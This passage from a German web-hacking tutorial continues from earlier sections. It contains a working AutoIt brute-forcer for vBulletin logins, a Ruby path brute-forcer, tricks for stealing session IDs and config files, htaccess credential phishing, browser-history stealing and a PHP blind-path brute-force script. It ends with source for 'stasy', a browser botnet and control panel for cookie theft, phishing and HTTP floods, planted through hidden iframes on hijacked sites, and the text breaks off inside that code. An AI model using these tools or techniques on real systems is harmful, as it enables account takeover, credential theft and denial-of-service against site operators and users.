Dictionary File!")
        Else
        $host=$hosts[1]
        $hostxb=$hosts[2]
        call("brute")
        EndIf
        EndIf
        EndIf
        EndIf
        EndIf

        else
        MsgBox(4096, "Error", "Dictionary list not found")
        EndIf

        Case $msg=$credits
        MsgBox(4096, "Vbulletin bruter", "coded by unnex" & @CRLF & "visit:
blacknet.me")

        Case $msg=$GUI_EVENT_CLOSE
        Exit
        EndSelect
WEnd

Func brute()

$i=$diclincount
$yes="no"
$recv=""
$double="a"
GUICtrlDelete($pointlabelpasswordcountx)
$pointlabelpasswordcountx=GUICtrlCreateLabel($lines, 67, 265, 200)
GUICtrlSetColor(-1, 0xFF00FF)

TCPStartUp()

msgbox(4096, "Connecting", "I will check the connnection, now." & @CRLF & 'Click
"OK" to continue.', 1111111111111111111)
$socket = TCPConnect($ip, 80)
If $socket = -1 Then
$yes="c"
$i=$lines+1
EndIf

$sec=@sec
$countsec=0
$biggest=0

GUICtrlDelete($ok)
$ok=GUICtrlCreateButton("Stop!", 15, 320, 185, 20)
GUICtrlSetBkColor(-1, 0x000000)
GUICtrlSetColor(-1, 0xFF00FF)

while $i<=$lines

$msg = GUIGetMsg($gui1)
Select
Case $msg=$ok
exitloop
Case $msg=$GUI_EVENT_CLOSE
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
Exit
EndSelect

TCPCloseSocket($socket)
$socket = TCPConnect($ip, 80)
$pw=""
$pw &="POST /" & $hostxb & " HTTP/1.1" & @crlf
$pw &="Host: " & $host & @crlf
$pw &="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.12)
Gecko/20101026 Firefox/3.6.12" & @crlf
$pw &="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
& @crlf
$pw &="Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3" & @crlf
$pw &="Accept-Encoding: html" & @crlf
$pw &="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" & @crlf
$pw &="Keep-Alive: 115" & @crlf
$pw &="Connection: keep-alive" & @crlf
$pw &="Content-Type: application/x-www-form-urlencoded" & @crlf
$c=FileReadLine($dicu, $i)

$msg = GUIGetMsg($gui1)
Select
Case $msg=$ok
exitloop
Case $msg=$GUI_EVENT_CLOSE
Exit
EndSelect

GUICtrlDelete($pointlabelpassword)
$pointlabelpassword=GUICtrlCreateLabel($c, 108, 225, 200)
GUICtrlSetColor(-1, 0xFF00FF)

if $i<$biggest Then
$i=$i+1
EndIf

GUICtrlDelete($pointlabelpasswordcount)
$pointlabelpasswordcount=GUICtrlCreateLabel($i, 87, 245, 200)
GUICtrlSetColor(-1, 0xFF00FF)

$c=StringReplace($c, @CRLF, "")
$c=StringReplace($c, @CR, "")

$pwx="do=login&url=%2Fboard%2F&vb_login_md5password=&vb_login_md5password_utf=&s
ecuritytoken=guest&vb_login_username=" & $usr & "&vb_login_password=" & $c &
@CRLF & @CRLF
$pw &="Content-Length: " & stringlen($pwx) & @crlf & @crlf
$pw &=$pwx

$biggest=$i
If $socket = -1 Then
$i=$i-1
Else

$msg = GUIGetMsg($gui1)
Select
Case $msg=$ok
exitloop
Case $msg=$GUI_EVENT_CLOSE
Exit
EndSelect

TCPSend($socket, $pw)

$recv=""
while stringlen($recv)<1

$msg = GUIGetMsg($gui1)
Select
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
Case $msg=$ok
exitloop
Case $msg=$GUI_EVENT_CLOSE
Exit
EndSelect

$recv &= TCPRecv($socket, 2048)
WEnd

$resultx=StringInStr($recv, $searchstring)

$resultxxaxxaxs=StringInStr($recv, "<html")

if $resultxxaxxaxs<1 then
$i=$i-1
EndIf

$resultxxaxxaxs=1

if $resultx>0 Then
if $vvi=="a" then
$vvi="b"
$i=$i-1
Else
msgbox(4096, "Result", "Password found!" & @CRLF & "Pw: " & $c & @CRLF & "in: "
& $i & "/" & $lines, 11111111111111111111)
$yes="yes"
ExitLoop
EndIf
EndIf

$i=$i+1
EndIf

$countsec=$countsec+1
if $sec>@sec or $sec<@sec Then
$sec=@sec
$pointlabelpasswordtime=GUICtrlCreateLabel($countsec, 47, 285, 200)
GUICtrlSetColor(-1, 0xFF00FF)
$countsec=0
EndIf

$msg = GUIGetMsg($gui1)
Select
Case $msg=$ok
exitloop
Case $msg=$GUI_EVENT_CLOSE
Exit
EndSelect

sleep(1)
WEnd

if $yes=="no" Then
msgbox(4096, "Result", "Password not found :-(", 11111111111111111111)
EndIf

if $yes=="c" Then
msgbox(4096, "Error", "Can't connect to Server", 11111111111111111111)
EndIf
$countsec=0

GUICtrlDelete($ok)
$ok=GUICtrlCreateButton("Brute!", 15, 320, 185, 20)
GUICtrlSetBkColor(-1, 0x000000)
GUICtrlSetColor(-1, 0xFF00FF)

TCPCloseSocket($socket)
EndFunc
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

15. Offene Passwörter, Sensible Dateien und Ordner

Wie der Name vermuten laesst geht es hier um Dateien, Passwoerter und Ordner die Offen
auf den Servern liegen. Obwohl man diese eigentlich nicht als normaler User sehen duerfte.
Auch hier gibt es wieder eine Vielzahl an moeglichkeiten solche Treffer zu landen.

Sensible Ordner sind zb. Cache Ordner,
Admin Panels ohne Passwort. In Cache Ordnern befindet sich der Cache also eine Zwischenspeichererung
von Daten. Sehen wir uns das Ganze mal an:

```
<?php
$filename="cache/loginsid.txt";
$fp = fopen($filename,'r');
$sid = fread ($fp, filesize ($filename));
fclose($fp);
if ($sid==$_GET["sid"]) { echo "yap, sie sind eingeloggt"; } else { echo "sie
sind nicht eingeloggt"; }
?>
```

Das Script oeffnet die Cachedatei "cache/loginsid.txt", nimmt sich dessen Inhalt und vergleicht ihn
mit der sid aus dem Link des Users. Stimmt alles ueberein dann ist der User eingeloggt.
Verfuegt der Cache Ordner nicht ueber gesonderte Rechte (chmod) die es einem User verbieten
dessen Dateien ein zu sehen dann steht es schlecht um die Sicherheit der Website.
Ein Angreifer muss nun nur in den Cache Ordner gehen den Inhalt der Datei auslesen um
die sid dann selber im Link zu nutzen:
http://127.0.0.1/cache/loginsid.txt
Ausgabe: xyz

Und nun ab in den Link damit und wir sind eingeloggt:
http://127.0.0.1/index.php?sid=xyz

Oder wir machen uns zb. die Cachefiles von Schreibprogrammen zu nutze. Viele Schreibprogramme
erstellen Cachedateie waerend man ein Dokument bearbeitet. So wuerde ein Schreibprogramm
zb. zu Datei configundpw.php ein Cachefile Namens configundpw.php~ erstellen.
Nun ist es so das php
eine Serverseitige Sprache ist. Und wir somit den Inhalt einer .php Datei als normale Besucher
nicht sehen koennen. Da das Cachefile nun aber ein ~ am Ende stehen hat ist es keine .php Datei
mehr.

Wuerde sich die config Datei jetzt zb. hier befinden:
http://127.0.0.1/configundpw.php

Und der Administrator hat diese Datei gerade mit einem Schreibprogramm offen das solche Cachefile anlegt.
Dann koennten wir den Quellcode dieser Datei einfach mit dem Anhaengen eines "~" einlesen:
http://127.0.0.1/configundpw.php~

Wir wissen nun also wie wir an Sensible Dateien und Ordner rann kommen koennen die zb. Passwoerter
und aehnliches enthalten. Das selbe gilt auch fuer Selnsible Ordner wie zb. phpmyadmin (ohne Passwort).
Meist empfielt es sich einfach nach solchen Dateien und Ordnern zu bruten. Ein Script dafuer koennte
zb so aussehen:
#ruby script

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
#path bruter
sizefull=100000000000000
v="usage: file.rb [adress] [port] [dic] [404 message]\nmaximal counts in file:
", sizefull
print v
puts ""
puts ""

if ARGV[0]==nil
puts "adress not found"
exit
elsif ARGV[1]==nil
puts "port not spezified"
exit
elsif ARGV[2]==nil
puts "file not found"
exit
elsif ARGV[3]==nil
puts "can't find 404 message"
exit
end

x=1
f = File.new(ARGV[2])
while x<sizefull
show=f.gets

if show==nil
x=sizefull+1
else

require 'socket'
client = TCPSocket.open(ARGV[0], ARGV[1])
showesc=show.match("\n")
if showesc==nil
client.send("GET /", 0)
client.send(show, 0)
client.send("\n", 0)
else
client.send("GET /", 0)
client.send(show, 0)
end

i=0

while i<sizefull
z=client.readlines[i]

if z==nil
else
xxxx=z.match("98zs9czcs")
end

if z==nil
i=sizefull+1
end

if xxxx==nil
else
i=sizefull+1
end

i=i+1

end

if xxxx==nil
print show, "#found\n"
else
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
puts show
end

client.close

end

x=x+1
end
```

16. Xsa

Xsa (csa=Cross Site Action) beschreibt das Einbinden von Links aufrund dessen Reaktion.
Wir binden also zb einen Link in einen img Tag ein:
<img src="htp://127.0.0.1/bilder/1.jpg">

Dem Ordner "bilder" haben wir eine htaccess Authentifikation beigelegt. Wenn nun en Browser
diesen Ordner oder dessen Inhalt sehen will muss er sich mit dem von uns festgelegten
Username und Passwort ausweisen. Wir erninnern uns kurz an forensysteme und aehnliches!
Dort machen wir das gerade beschriebene. Unser ahnungsloser User wird nun aufgefordet seine
Logindaten ein zu geben. Und das auch noch mittem beim Besuchen seiner Lieblingscommunity.
Er gibt seinen Username und sein Passwort ein. Und das war dann auch shon sein Fehler.
denn unser Server Hat seine Eingaben mitgelogt! Es sieht zwar so aus wie als wuerde
die Community diese Logindaten verlangen, dem ist aber nicht so. Denn der htaccess kommt
von unserem Server, speziell vom Ordner "bilder".

Nun ist es so das die Browser anzeigen Welche Seite da diese htaccess Authentifizierung verlangt.
Demnach waere es ratsam eine Domain an zu legen die aehnlich aussieht wie die der Seite
wo man den User angreifen will.

Aber mal weg von der Cross site Athentifikation. Xsa hat noch mehr zu bieten. Nehmen wir mal
als Beispiel ein Forum. Wenn man sich in dieses einloggt bekommt man eine sid im Link zugewiesen.
Und meinetwegen auch noch ein Cookie. Wenn man die Seite aufruft und etwas ist falsch an der sid
oder dem Cookie dann wird man aus Sicherheitsgruenden automatich ausgeloggt.

Also zb richtiger sid:
http://127.0.0.1/forum.php?sid=xyz

Eine falsche sid. Bei der man dann natuerlich ausegloggt wird:
http://127.0.0.1/forum.php?sid=aaa

Nun posten wir folgendes in der Shoutbox oder einem Thread usw.:
<img src="http://127.0.0.1/forum.php?sid=aaa">

Besucht der User nun diese Seite wo unser Link drinn ist (im bsp als Bild)
So wird bei der Ausgabe des Bildes vorerst ein kleines Fehlerbild an der stelle
wo unser Link ist angezeigt. Geklappt hat es trotzdem. der User wurde ausgeloggt und wird
das auch spaetestens merken wenn er einen anderen Thread oder aehnliches besuchen will.
Solche Angriffe machen sich zb. immer gut in Chats, Foren etc.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

17. History stealing

Beim History stealing versucht man an die Private Browser-History des Users zu gelangen.
Mit Trojanern und aehnlichem, also dem Uebernehmen des System ist sowas natuerlich schnell gemacht.
Wir wollen das aber ohne das Ownen des Userechners schaffen.
Man kennt das ja, bei google sucht man sich ein paar Links zusammen. Die Links die man shon geklickt haben
werden farblich anders dargestellt als die, die man noch nicht besucht hat. Dieser
farbliche Unterschied laesst sich per Javascript auslesen! Uns ist es also moeglich
die Browser-History des User auf verschiedene Links zu testen:

```
<style>a:visited { color: red; }</style>
<script>
var link_el = document.createElement('a');
var computed_style = document.defaultView.getComputedStyle(link_el, "");
link_el.href = "http://google.de";
if (computed_style.getPropertyValue("color") == 'rgb(255, 0, 0)') { alert('sie
waren schonmal auf google.de'); }
</script>
```

So kann man zb feststellen ob ein User einen bestimmten Account besitzt. Viele Webseiten haben links speziell fuer
die Einstellungen des eigenen Profils zb.:
http://127.0.0.1/community/user.php?profilonf

Man koennte somit auch kuerzere Sids aus den Links bruten lassen oder zb. das Userverhalten des Users studieren.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

18. Blind Path gathering

Terminologie:

"Blind Path gathering" zu Deutsch: Blind Pfade ermitteln.

Die Bezeichnung "Blind Path gathering" bezieht sich darauf, dass ein Angreifer Mittels
wechseln des Ordner's innerhalb der Verzeichnisstruktur Rueckschluesse auf die Existenz eines
Ordner's schliest auf den, dessen Unterordner & Ueberordner er keinen Zugriff hat.

Vorkommen:
Blind Path gathering ist eine Angriffsart die sich auf die Wechselmoeglichkeiten innerhalb einer
Verzeichnisstruktur bezieht. Ein Vulnerable dieser Art tritt dann auf, wenn ein Angreifer
mindestens Leserechte fuer die Verzeichnisstruktur des jeweiligen Systems hat.

Diese Vulnerables sind quasi im Großteil des WWW zu finden. Derzeit ist php_mod bei Apache
mit Abstand am beliebtesten. Allerdings laesst es keine ausreichende Trennung der Nutzerbereiche zu,
wie Blind Path gathering beweist. Und so sieht das auch bei den meisten anderen Systemarten im WWW aus.

Diese Art des Vulnerables kann Local sowie Remote vorkommen.

Funktionsweise & Angriff:

Anders als beim bekannten bruten von Ordnern und Dateien versucht der Hacker hier nicht einen Ordner zu oeffnen
um zu sehen ob er existiert. Bei einem Blind Path gathering Bug begeht der Angreifer den Pfad des
Ordners den er ermitteln moechte und resultiert daraus ob dieser Ordner existiert und wie er heist.

Bsp: Wir befinden uns im Ordner /var/apache/http/meinspace/. Alles was wir wissen u.o. ermitteln koennen
ist das wir uns in einem Ordner namens /meinspace/ befinden. Der Angreifer geht nun folgendesmaßen vor:
Er wechselt den Pfad: ./../meinspace/. Ist das wechseln des Pfades erfolgreich verlaufen weis
der Angreifer das vor seinem Ordner "meinspace" ein weiterer Ordner liegt.

Sehr einfach zu Handhaben mit file_exists Abfrage von PHP:
if (file_exists("./../meinspace/datei.php")) { echo "ihr ordner ist nur ein ordner in einem anderen ordner :D"; }

Nun steht fuer den Hacker fest das der Pfad /[unbekannt]/meinspace/ existiert.
Um den Namen dieses unbekannten Ordners zu ermitteln wird folglich eine Dictionary Liste genutzt:
./[brute]/meinspace/datei.php

Ein Passendes Script dafuer koennte so aussehen:

```
<?php
$pab="";
$filename="dic.txt";
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
if (isset($_POST["fl"])) { if (strlen($_POST["fl"])>0) { $filename=$_POST["fl"];
$filename=preg_replace("/</" ,"&lt;", $filename);
$filename=preg_replace("/>/" ,"&gt;", $filename);
$filename=preg_replace("/\"/" ,"&quot;", $filename);
$filename=preg_replace("/'/" ,"&apos;", $filename); } }

if (isset($_POST["pp"])) { if (strlen($_POST["pp"])>0) {
$pab=preg_replace("/</" ,"&lt;", $_POST["pp"]);
$pab=preg_replace("/>/" ,"&gt;", $pab);
$pab=preg_replace("/\"/" ,"&quot;", $pab);
$pab=preg_replace("/'/" ,"&apos;", $pab); } }

echo "<html>";
echo "<i><u>root path:</u></i> " . $_SERVER['DOCUMENT_ROOT'] . "<br><i>(dont
forget add more ../ to your path if root path is not the path with the running
script... what i say, you will see it)</i><br><i><u>use:</i></u>
/[brute]/<br><br>";

$fullback=explode("/", $_SERVER['DOCUMENT_ROOT']);
$i=0; echo "<i>(if you need to spell bypass: ./";
while (isset($fullback[$i])) { echo "../"; $i++; }

echo "[brute]/.." . $_SERVER['DOCUMENT_ROOT'] . "/";
echo "<br>...to brute the first folder on your root path<br>or brute the second
folder: ./";

$i=0;
while (isset($fullback[$i])) { echo "../"; $i++; }
echo "folder/[brute]/../.." . $_SERVER['DOCUMENT_ROOT'] . "/";
echo " etc...)</i><br><br>";

echo "<form action=\"\" method=\"post\">";
echo "<input type=\"text\" name=\"fl\" value=\"" . $filename . "\">   ";
echo "<input type=\"text\" name=\"pp\" value=\"" . $pab . "\">";
echo "<input type=\"submit\" value=\"start\"></form>";

$ok="0";
if (strlen($pab)>0 && isset($_POST["fl"])) {
echo "<b>brute...</b><br>";
$i=0; $full=" ";
$fp = @fopen($filename, "r") or die ("cant open file!");
while($p = fgets($fp, 1024)){ $p=preg_replace("/\n/", "", $p);
$p=preg_replace("/\r\n/", "", $p); $p=preg_replace("/ /", "", $p);
$p = preg_replace('/\r\n|\r|\n/', '', $p);

$path=preg_replace("/\[brute\]/" , $p, $_POST["pp"]);
if (file_exists($path . "dummy.txt")) { $ok="found"; } if ($ok=="0") { } else {
if (!preg_match("/ " . $p . " /", $full, $match)) {
$pa=preg_replace("/</" ,"&lt;", $p);
$pa=preg_replace("/>/" ,"&gt;", $pa);
$pa=preg_replace("/\"/" ,"&quot;", $pa);
$pa=preg_replace("/'/" ,"&apos;", $pa);
$px=$_POST["pp"];
$px=preg_replace("/</" ,"&lt;", $px);
$px=preg_replace("/>/" ,"&gt;", $px);
$px=preg_replace("/\"/" ,"&quot;", $px);
$px=preg_replace("/'/" ,"&apos;", $px);
$patha=preg_replace("/\[brute\]/" , "<u>" . $pa . "</u>", $px);
$ok=$ok . ": " . $patha; echo $ok . "<br>"; $i++; $full=$full . $p . " ";
$ok="0"; } $ok="0"; }
}
fclose($fp);

echo "<br>founds: " . $i . "<br><b>success!</b></html>"; }
?>
```

So ist es einem Angreifer moeglich sich durch das gesamte Ordnersystem des jeweiligen Rechnersystem's zu kaempfen.
Wie aus dem eben gezeigten Bsp-Script hervorgeht, ist es auch nicht selten das

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

man mittels PHP zumindest
den derzeitigen kompletten Pfad ermitteln kann. Zb:
/usr/export/www/vhosts/funnetwork/hosting/tutorialgermanhd/.

Man wuerde nun so vorgehen:
./../../../../../../../../[brute]/../usr/export/www/vhosts/funnetwork/hosting/tu
torialgermanhd/.

Das Ergebnis koennte so aussehen:
found:
./../../../../../../../../bin/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../dev/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../etc/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../lib/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../mnt/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../opt/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../srv/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../sys/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../tmp/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../usr/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../var/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../home/../usr/export/www/vhosts/funnetwork/hosting/tutor
ialgermanhd/

Angriffsarten:

Local Blind Path gathering, Remote Bling Path gathering.

Wie das ganze Local aussehen koennte wissen wir ja schon vom Unterpunkt
"Funktionsweise".
Allerdings kann diese Methode auch Remote von nutzen sein.

Zb. bei einer Local File Inclusion. Befindet man sich in der Situation eine LFI
Luecke
zu haben aber keinen Ordner ermitteln zu koennen in der Zb. die Accesslogs
liegen, so kann
man sich, wie schon in "Funktionsweise" beschrieben, den benoetigten Pfad
bruten.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

19. Weitere Tipps und Tricks

Was koennte man noch alles an nutzlichen Tips mit auf den Weg geben ?
Erstmal, cracken und hacken ist viel mehr eine Kunst, als stures Systemownen.
Das zeigt sich auch des oefteren in den Angriffsmethoden. Da kommen dann
Dinge zustande wie xss gekoppelt mit csrf oder das Angreifen von Routern
ueber den Browser des Users via csrf, Shellsscripte fuer lfi's via Avatarupload
und und und. Beim Cracken ist also nicht nur ein umfangreiches Fachwissen
von Noeten sonder auch ein Hoher Grad an Kreativitaet. Man kann zb. auch
einen Session-hijacking Angriff nutzen um die ip des Gegenuebers raus zu
bekommen.
Ein nuetzlicher Tip waere auch Shellscripte Uploaden in Bereichen wo sowas
eigentlich nicht gehen duerfte. Es ist zb. bei vielen System moeglich Bilder
hoch zu laden. Viele Pruefen dabei aber nicht die Dateiendung. so ist es
moeglich
anstatt einer .jpg Datei einfach eine .php Datei hoch zu laden.
Und was man mit so einem Sicherheitsleck anstellen kann wissen wir ja bereits.

Was sich auch oft als nuetzlich erweist sind xss Shells. Hierbei sendet man
einem User zb. einen Link mit einem xss Bug der xss Code enthaelt dann
Javascript
das den User im einflussbreich des Scripts haelt. so kann man den User waerend
er auf dieser Seite ist csrf Scripts ausfuehren lassen und seine Tasteneingaben
mitloggen.
Ich gebe ihnen mal ein Script was ich vor einigen Jahren gemacht hab.
Es zeigt sehr gut was mit kreativitaet gemeint ist.

```
###stasy0.1###
---readme.txt---
---stasy 0.1 - coded by unnex---

---
notice:
das aktuelle passwort ist: test123
---

inhalt:
-info
-allgemein (zum programm und source)
-componenten

info:

stasy ermoeglicht es userhandlungen im www
fern zu steuern, botnetze zu erstellen, userverhalten zu studieren
private userinfos wie zb cookies pws und und und, ach ich weis garne
wo ich anfangen soll und wo aufheoren...
ohne den rechner des opfers mit maleware
infizieren zu muessen. da es ueber den browser
des opfers laeuft und nicht ins system injiziert
werden muss ist es zudem betriebsystem unabhaengeg.
somit wird ein nicht zu verachtender teil von
trojanern und bots ueberfluessig.

am wohl effektivsten laesst sich diese software
bei uebernommen seiten einsetzen.

zb:

<span style="position: absolute; left: -11132px; top: -11150px;">
<iframe src="http://deinserver.xx/stasy/ixing.php" name="a" style="border: 0;
width: 90%; height: 400">
</iframe>
</span>

oder:

<html>
</head>
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
<style type="text/css">
td {
margin: 0cm
}
</style>
</head>
<body>
<td>
<iframe src="http://google.de" name="b" style="border: 0; width: 120%; height:
120%">
</iframe>
</td>
<iframe src="http://deinserver.xx/stasy/ixing.php" name="a" style="border: 0;
width: 0%; height: 0%">
</iframe>
</body>
</html>
```

...die enthaltene index.html duerfte als testseite ausreichen
wenn man die seite nichgt ueberlagern will wuerde ich das erste bsp zum
includen empfehlen... beim zweiten hat man einfach des oefteren probleme
mit der richtigen grafischen darstellung^^

allgemein:

der admin panel ist ueber root.php zu erriechen.
die datei kann beliebig umbenannt werden.
sein pw kann jeder selbst aendern: list.php zeile 2,
root.php zeile 3, main.php zeile 2 und com.php zeile 2.
das aktuelle passwort ist: test123

die scripts die man zu einer ip schickt beziehen sich
auf browserseitige sprachen und evtl. auf dem server
installierte serverseitige sprachen.

die staerke des http flood bezieht sich auf die anzahl
der iframes die vom opfer beim flooden genutzt werden.

componenten:
die componenten sowie das dazu gehoerige logfile befinden sich
im ordner com. wie diese componenten fungieren duerfte klar sein.
xss, csrf, prompt und und und... jeder kann seine eigenen
componenten erstellen und ggf. anpassen und einfach in den com
ordner legen. fuer das loggen sind ebenfalls, falls noetig, schon
adressen gegeben: ixing.php?c=daten-cookie-usw...

ich habe schonmal ein paar vorerstellt und sie rein gemacht.
die koennen ohne modifikation verwendet werden.
bis auf den braketofakepage da muesste man seine eigene fakepage eintragen.
achja im promptphish hab ich glaube noch den fish auf icq XD
die xss componetnten waeren auch logisch wenn man die bearbeitet,
ansonsten gehen die cookies zu nem server wo ich stasy mal drauf hatte^^

---
weiteres:

welche version ist das jetzt ?
es ist nicht die aktuelle 1.2 sondern die erste 0.1.
somit sind verbesserungen am script selbst sowie intelligentes lernen
und replication von stasy in diesem programm nicht mit inbegriffen.
anders als in aktuellen versionen lernt diese version noch nicht selbstaendig,
verbreitet sich nicht selbstaendig und hackt nicht annaehrend so wie heutztage
selbstaendig. diese version dient also nur zur veranschaulich und als anstoß
an neue ideen und methoden im webhacking bereich. ohne zweifel ist auch
diese version ein maechtiges tool, allerdings hoffe ich dass damit nicht
ungewissenhaft umgegangen wird.

---
ich distanzeire mich von jeglichem schaden der durch dieses programm

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
entsehen kann oder wird und weise darauf hin das dieses programm nicht
fuer kriminelle zwecke missbraucht werden darf.
...blabla soll mir ja keiner an kragen koennen blabla...

---
greetz unnex

---com.php---
<?php
$xx="x"; $pass="9dd6023e88f1e5bcf51415d2caa4e031";
if (isset($_COOKIE["p"])) { if ($_COOKIE["p"]==$pass) { $xx="xx"; } } if
($xx=="x") { exit; }

$filename="com/log.txt";
if (!file_exists($filename)) {
$fp = fopen($filename,'w');
fwrite($fp, "###get?c=log###\r\n"); }

if (isset($_GET["l"])) { if ($_GET["l"]=="0") { $filename="com/log.txt";
$fp = fopen($filename,'w');
fwrite($fp, "###get?c=log###\r\n"); } }

if (isset($_GET["l"])) { if ($_GET["l"]=="1") {
$filename="com/lognotice.txt";
$fp = fopen($filename,'w');
fwrite($fp, "sparend-loggen\r\n");
} }

if (isset($_GET["l"])) { if ($_GET["l"]=="2") {
$filename="com/lognotice.txt"; if (file_exists($filename)) { unlink($filename);
} } }

$com="a";
if (isset($_GET["s"])) { if ($_GET["s"]=="0") { $com="b"; if
(file_exists("comout/" . $_GET["com"])) { unlink("comout/" . $_GET["com"]); } }
}

if ($com=="a") {
if (isset($_GET["com"])) { $comlen=strlen($_GET["com"]); if ($comlen>0) {
$filename="com/" . $_GET["com"];
if (file_exists($filename)) { $fp = fopen($filename,'r');
$comos = fread ($fp, filesize ($filename));
fclose($fp);
$filename="comout/" . $_GET["com"];
$fp = fopen($filename,'w');
fwrite($fp, $comos); } else { echo "<script>alert(\"component konnte nicht
geladen werden\")</script>"; } } else { echo "<script>alert(\"component konnte
nicht geladen werden\")</script>"; } } }

echo "<b>Componenten:</b><br><br>";
$path = "com/";
if($dir=opendir($path))
{
 while($file=readdir($dir))
 {
  if (!is_dir($file) && $file != "." && $file != "..")
  {
   $files[]=$file;
if ($file==".htaccess" or $file=="log.txt" or $file=="lognotice.txt") { } else {
if (!file_exists("comout/" . $file)) { echo $file . "  <input
type=\"button\" name=\"comout\" value=\"starten\"
onclick=\"location.href='com.php?com=" . $file . "'\"><br>"; } else { echo $file
. "  <input type=\"button\" name=\"comout\" value=\"stoppen\"
onclick=\"location.href='com.php?com=" . $file . "&s=0'\"><br>"; } }
  }
 }
closedir($dir); }

$filename="com/log.txt";
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
$fp = fopen($filename,'r');
$log = fread ($fp, filesize ($filename));
fclose($fp);
$loglen=strlen($log);
if ($loglen>0) { echo "<br><b>Log:</b> <br><textarea name=\"text\"
cols=\"33\" rows=\"10\">" . preg_replace("/</", "&lt;", $log) ."</textarea>"; }
else { echo "<br><b>Log:</b> <i>(\" replaced with \&quot;)</i><br><textarea
name=\"text\" cols=\"33\" rows=\"10\">" . $log . "</textarea>"; }
echo "<br><a href=\"com.php?l=0\">log leeren</a>";
echo "<br><a href=\"com.php\">refresh</a>";
if (!file_exists("com/lognotice.txt")) {
echo "<br><a href=\"com.php?l=1\">sparend loggen einschalten</a>"; } else { echo
"<br><a href=\"com.php?l=2\">sparend loggen ausschalten</a>"; }
?>

---list.php--
<?php
$xx="x"; $pass="9dd6023e88f1e5bcf51415d2caa4e031";
if (isset($_COOKIE["p"])) { if ($_COOKIE["p"]==$pass) { $xx="xx"; } } if
($xx=="x") { exit; }

if (isset($_GET["x"])) {
$path = "ipcache/";
if($dir=opendir($path))
{
 while($file=readdir($dir))
 {
  if (!is_dir($file) && $file != "." && $file != "..")
  {
   $files[]=$file;
if ($file==".htaccess") { } else { unlink("ipcache/" . $file); }
$filex=ereg_replace(".txt", "", $file);
if (file_exists($filex . ".php")) { unlink($filex . ".php"); }
  }
 }
closedir($dir); }
}

echo "<b>Ip's:</b><br><br>";

$wi=0;

$path = "ipcache/";
if($dir=opendir($path))
{
 while($file=readdir($dir))
 {
  if (!is_dir($file) && $file != "." && $file != "..")
  {
   $files[]=$file;
$file=ereg_replace(".txt", "", $file);
if ($file==".htaccess") { } else { echo $file, "<br>"; $wi++; }
  }
 }
closedir($dir); }
echo "<br><b>Anzahl: " . $wi . "</b><br>";
echo "<br><a href=\"list.php\">neu laden</a>";
echo "<br><a href=\"list.php?x\">leeren</a>";
?>

---root.php---
<?php
$a="a";
$pass="9dd6023e88f1e5bcf51415d2caa4e031";
if (isset($_POST["pw"])) {

$pw=$_POST["pw"];
$pw=md5($pw); $pw=md5($pw); $pw=md5($pw);
if ($pw==$pass) {
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
setcookie("p", $pass);
echo "correct...";
echo "<meta http-equiv=\"refresh\" content=\"1\" URL=root.php\">"; } }

if (isset($_COOKIE["p"])) {
if ($_COOKIE["p"]==$pass) {
echo "<html><head><title>stasy admin panel</title><frameset
cols=\"120,530,*\"><br><frame src=\"list.php\" name=\"Navigation\"><frame
src=\"main.php\" name=\"Daten\"><frame src=\"com.php\"
name=\"com\"></frameset></html>"; $a="b"; } }

if ($a==$a) {
echo "<form action=\"". $_SERVER['PHP_SELF'] . "\" method=\"post\"><b>Passwort:
</b><input type=\"text\" name=\"pw\"><input type=\"submit\"
value=\"login\"></form>"; }
?>

---main.php---
<?php
$xx="x"; $pass="9dd6023e88f1e5bcf51415d2caa4e031";
if (isset($_COOKIE["p"])) { if ($_COOKIE["p"]==$pass) { $xx="xx"; } } if
($xx=="x") { exit; }

$verlauf="leer";
if (isset($_POST["ip"]) && isset($_POST["script"])) {
if (file_exists("ipcache/" . $_POST["ip"] . ".txt")) {
$filecontents = stripslashes(html_entity_decode($_POST["script"]));
$filename=$_POST["ip"] . ".php";
$fp = fopen($filename,'w');
fwrite($fp, $filecontents);
fclose($fp);
$verlauf="Script wurde an " . $_POST["ip"] . " gesendet";
} else { $verlauf="Ip konnte nicht gefunden werden"; } }

if (isset($_POST["ziel"]) && isset($_POST["staerke"])) {
